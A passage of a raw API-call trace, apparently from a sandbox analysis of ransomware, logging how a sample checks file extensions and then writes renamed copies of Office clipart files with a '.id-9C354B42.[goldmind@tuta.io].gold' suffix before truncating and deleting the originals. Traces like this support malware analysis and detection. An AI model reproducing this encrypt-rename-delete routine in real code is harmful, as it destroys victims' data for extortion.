lstrlenW (lpString=".xlsx") returned 5 [0094.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.264] lstrlenW (lpString=".ppt") returned 4 [0094.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.264] lstrlenW (lpString=".zip") returned 4 [0094.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.264] lstrlenW (lpString=".rar") returned 4 [0094.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.264] lstrlenW (lpString=".bz2") returned 4 [0094.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.264] lstrlenW (lpString=".7z") returned 3 [0094.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.264] lstrlenW (lpString=".dbf") returned 4 [0094.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.264] lstrlenW (lpString=".1cd") returned 4 [0094.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.264] lstrlenW (lpString=".jpg") returned 4 [0094.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.264] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.264] lstrlenW (lpString="DD01162_.WMF") returned 12 [0094.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.265] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2300) returned 1 [0094.265] CloseHandle (hObject=0x3a0) returned 1 [0094.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0094.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.265] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.265] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.266] GetLastError () returned 0x0 [0094.266] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0094.268] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x900, lpOverlapped=0x0) returned 1 [0094.269] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.269] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.269] SetEndOfFile (hFile=0x3b0) returned 1 [0094.269] CloseHandle (hObject=0x3b0) returned 1 [0094.269] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.269] SetEndOfFile (hFile=0x3a0) returned 1 [0094.273] CloseHandle (hObject=0x3a0) returned 1 [0094.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.274] lstrlenW (lpString=".doc") returned 4 [0094.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.274] lstrlenW (lpString=".docx") returned 5 [0094.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.274] lstrlenW (lpString=".pdf") returned 4 [0094.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.274] lstrlenW (lpString=".xls") returned 4 [0094.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.274] lstrlenW (lpString=".xlsx") returned 5 [0094.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.274] lstrlenW (lpString=".ppt") returned 4 [0094.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.274] lstrlenW (lpString=".zip") returned 4 [0094.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.274] lstrlenW (lpString=".rar") returned 4 [0094.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.274] lstrlenW (lpString=".bz2") returned 4 [0094.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.274] lstrlenW (lpString=".7z") returned 3 [0094.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.274] lstrlenW (lpString=".dbf") returned 4 [0094.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.274] lstrlenW (lpString=".1cd") returned 4 [0094.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.274] lstrlenW (lpString=".jpg") returned 4 [0094.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.274] lstrlenW (lpString=".doc") returned 4 [0094.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.274] lstrlenW (lpString=".docx") returned 5 [0094.275] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.275] lstrlenW (lpString=".pdf") returned 4 [0094.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.275] lstrlenW (lpString=".xls") returned 4 [0094.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.275] lstrlenW (lpString=".xlsx") returned 5 [0094.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.275] lstrlenW (lpString=".ppt") returned 4 [0094.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.275] lstrlenW (lpString=".zip") returned 4 [0094.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.275] lstrlenW (lpString=".rar") returned 4 [0094.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.275] lstrlenW (lpString=".bz2") returned 4 [0094.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.275] lstrlenW (lpString=".7z") returned 3 [0094.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.275] lstrlenW (lpString=".dbf") returned 4 [0094.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.275] lstrlenW (lpString=".1cd") returned 4 [0094.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0094.275] lstrlenW (lpString=".jpg") returned 4 [0094.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.275] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.275] lstrlenW (lpString="DD01163_.WMF") returned 12 [0094.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.276] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2300) returned 1 [0094.276] CloseHandle (hObject=0x3a0) returned 1 [0094.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20 [0094.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.276] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.276] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.277] GetLastError () returned 0x0 [0094.277] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0094.387] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x900, lpOverlapped=0x0) returned 1 [0094.388] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.388] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.388] SetEndOfFile (hFile=0x3b0) returned 1 [0094.388] CloseHandle (hObject=0x3b0) returned 1 [0094.388] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.388] SetEndOfFile (hFile=0x3a0) returned 1 [0094.390] CloseHandle (hObject=0x3a0) returned 1 [0094.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0094.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.432] lstrlenW (lpString=".doc") returned 4 [0094.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.432] lstrlenW (lpString=".docx") returned 5 [0094.432] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.432] lstrlenW (lpString=".pdf") returned 4 [0094.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.432] lstrlenW (lpString=".xls") returned 4 [0094.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.432] lstrlenW (lpString=".xlsx") returned 5 [0094.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.432] lstrlenW (lpString=".ppt") returned 4 [0094.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.433] lstrlenW (lpString=".zip") returned 4 [0094.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.433] lstrlenW (lpString=".rar") returned 4 [0094.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString=".bz2") returned 4 [0094.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString=".7z") returned 3 [0094.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.433] lstrlenW (lpString=".dbf") returned 4 [0094.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.433] lstrlenW (lpString=".1cd") returned 4 [0094.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.433] lstrlenW (lpString=".jpg") returned 4 [0094.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.433] lstrlenW (lpString=".doc") returned 4 [0094.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString=".docx") returned 5 [0094.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.433] lstrlenW (lpString=".pdf") returned 4 [0094.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString=".xls") returned 4 [0094.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.433] lstrlenW (lpString=".xlsx") returned 5 [0094.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.433] lstrlenW (lpString=".ppt") returned 4 [0094.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.433] lstrlenW (lpString=".zip") returned 4 [0094.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.433] lstrlenW (lpString=".rar") returned 4 [0094.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString=".bz2") returned 4 [0094.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.433] lstrlenW (lpString=".7z") returned 3 [0094.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.433] lstrlenW (lpString=".dbf") returned 4 [0094.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.434] lstrlenW (lpString=".1cd") returned 4 [0094.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0094.434] lstrlenW (lpString=".jpg") returned 4 [0094.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.434] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.434] lstrlenW (lpString="DD01172_.WMF") returned 12 [0094.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.434] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2232) returned 1 [0094.434] CloseHandle (hObject=0x3a8) returned 1 [0094.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0094.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.435] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.435] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.435] GetLastError () returned 0x0 [0094.435] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0094.451] WriteFile (in: hFile=0x398, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0094.451] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.451] WriteFile (in: hFile=0x398, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.451] SetEndOfFile (hFile=0x398) returned 1 [0094.451] CloseHandle (hObject=0x398) returned 1 [0094.452] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.452] SetEndOfFile (hFile=0x3a8) returned 1 [0094.454] CloseHandle (hObject=0x3a8) returned 1 [0094.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0094.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.506] lstrlenW (lpString=".doc") returned 4 [0094.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.506] lstrlenW (lpString=".docx") returned 5 [0094.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.506] lstrlenW (lpString=".pdf") returned 4 [0094.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.506] lstrlenW (lpString=".xls") returned 4 [0094.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.506] lstrlenW (lpString=".xlsx") returned 5 [0094.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.506] lstrlenW (lpString=".ppt") returned 4 [0094.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.506] lstrlenW (lpString=".zip") returned 4 [0094.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.506] lstrlenW (lpString=".rar") returned 4 [0094.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.506] lstrlenW (lpString=".bz2") returned 4 [0094.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.506] lstrlenW (lpString=".7z") returned 3 [0094.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.506] lstrlenW (lpString=".dbf") returned 4 [0094.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.506] lstrlenW (lpString=".1cd") returned 4 [0094.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.506] lstrlenW (lpString=".jpg") returned 4 [0094.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.506] lstrlenW (lpString=".doc") returned 4 [0094.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.506] lstrlenW (lpString=".docx") returned 5 [0094.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.506] lstrlenW (lpString=".pdf") returned 4 [0094.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.507] lstrlenW (lpString=".xls") returned 4 [0094.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.507] lstrlenW (lpString=".xlsx") returned 5 [0094.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.507] lstrlenW (lpString=".ppt") returned 4 [0094.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.507] lstrlenW (lpString=".zip") returned 4 [0094.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.507] lstrlenW (lpString=".rar") returned 4 [0094.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.507] lstrlenW (lpString=".bz2") returned 4 [0094.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.507] lstrlenW 